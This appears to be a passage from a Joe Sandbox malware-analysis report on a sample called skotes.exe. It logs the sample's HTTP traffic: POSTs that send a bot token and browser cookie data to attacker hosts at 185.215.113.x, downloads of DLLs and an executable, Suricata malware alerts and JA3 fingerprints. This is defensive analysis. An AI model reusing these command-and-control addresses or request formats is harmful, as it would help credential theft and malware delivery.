Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHDHDHIECGCAEBFIIDHIHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 35 38 36 32 32 37 36 62 63 32 31 39 31 61 66 65 34 66 36 62 64 65 39 32 36 36 66 31 61 64 63 31 32 34 39 34 66 37 37 66 35 34 62 37 61 37 62 30 39 63 36 38 66 61 65 35 34 36 39 63 65 38 65 65 64 38 32 66 38 39 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 48 44 48 44 48 49 45 43 47 43 41 45 42 46 49 49 44 48 49 2d 2d 0d 0a Data Ascii: ------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="token"305862276bc2191afe4f6bde9266f1adc12494f77f54b7a7b09c68fae5469ce8eed82f89------EHDHDHIECGCAEBFIIDHIContent-Disposition: form-data; name="message"plugins------EHDHDHIECGCAEBFIIDHI--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDGIJJDGCBKFIDHIEBKEHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 35 38 36 32 32 37 36 62 63 32 31 39 31 61 66 65 34 66 36 62 64 65 39 32 36 36 66 31 61 64 63 31 32 34 39 34 66 37 37 66 35 34 62 37 61 37 62 30 39 63 36 38 66 61 65 35 34 36 39 63 65 38 65 65 64 38 32 66 38 39 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 47 49 4a 4a 44 47 43 42 4b 46 49 44 48 49 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="token"305862276bc2191afe4f6bde9266f1adc12494f77f54b7a7b09c68fae5469ce8eed82f89------HDGIJJDGCBKFIDHIEBKEContent-Disposition: form-data; name="message"fplugins------HDGIJJDGCBKFIDHIEBKE--
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHJDGIJECGDHJJECGHHost: 185.215.113.206Content-Length: 6631Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 33 34 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003345001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 33 33 34 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1003346001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGHHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 35 38 36 32 32 37 36 62 63 32 31 39 31 61 66 65 34 66 36 62 64 65 39 32 36 36 66 31 61 64 63 31 32 34 39 34 66 37 37 66 35 34 62 37 61 37 62 30 39 63 36 38 66 61 65 35 34 36 39 63 65 38 65 65 64 38 32 66 38 39 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="token"305862276bc2191afe4f6bde9266f1adc12494f77f54b7a7b09c68fae5469ce8eed82f89------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IDBKKKKKFBGDGDHIDBGH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIDGHIIECGHDHJKFCAEGHost: 185.215.113.206Content-Length: 1451Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIJKKKFCFHCFIECBGDHIHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 35 38 36 32 32 37 36 62 63 32 31 39 31 61 66 65 34 66 36 62 64 65 39 32 36 36 66 31 61 64 63 31 32 34 39 34 66 37 37 66 35 34 62 37 61 37 62 30 39 63 36 38 66 61 65 35 34 36 39 63 65 38 65 65 64 38 32 66 38 39 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 2d 2d 0d 0a Data Ascii: ------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="token"305862276bc2191afe4f6bde9266f1adc12494f77f54b7a7b09c68fae5469ce8eed82f89------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GIJKKKFCFHCFIECBGDHIContent-Disposition: form-data; name="file"------GIJKKKFCFHCFIECBGDHI--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /6c4adf523b719729.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHCGDGIEBKJKFHJJKFCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 33 30 35 38 36 32 32 37 36 62 63 32 31 39 31 61 66 65 34 66 36 62 64 65 39 32 36 36 66 31 61 64 63 31 32 34 39 34 66 37 37 66 35 34 62 37 61 37 62 30 39 63 36 38 66 61 65 35 34 36 39 63 65 38 65 65 64 38 32 66 38 39 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 44 48 43 47 44 47 49 45 42 4b 4a 4b 46 48 4a 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="token"305862276bc2191afe4f6bde9266f1adc12494f77f54b7a7b09c68fae5469ce8eed82f89------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------GDHCGDGIEBKJKFHJJKFCContent-Disposition: form-data; name="file"------GDHCGDGIEBKJKFHJJKFC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 42 32 38 37 34 42 30 35 39 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7CBB2874B05982D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:63794 -> 208.109.77.116:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:63819 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:63854 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:63867 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:63862 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:63873 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:63884 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:63896 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:63898 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:63909 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:63923 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:63908 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:63937 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.4:63970 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:63979 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:64038 -> 185.215.113.206:80

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 162.159.36.2
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_004BBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_004BBE30

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
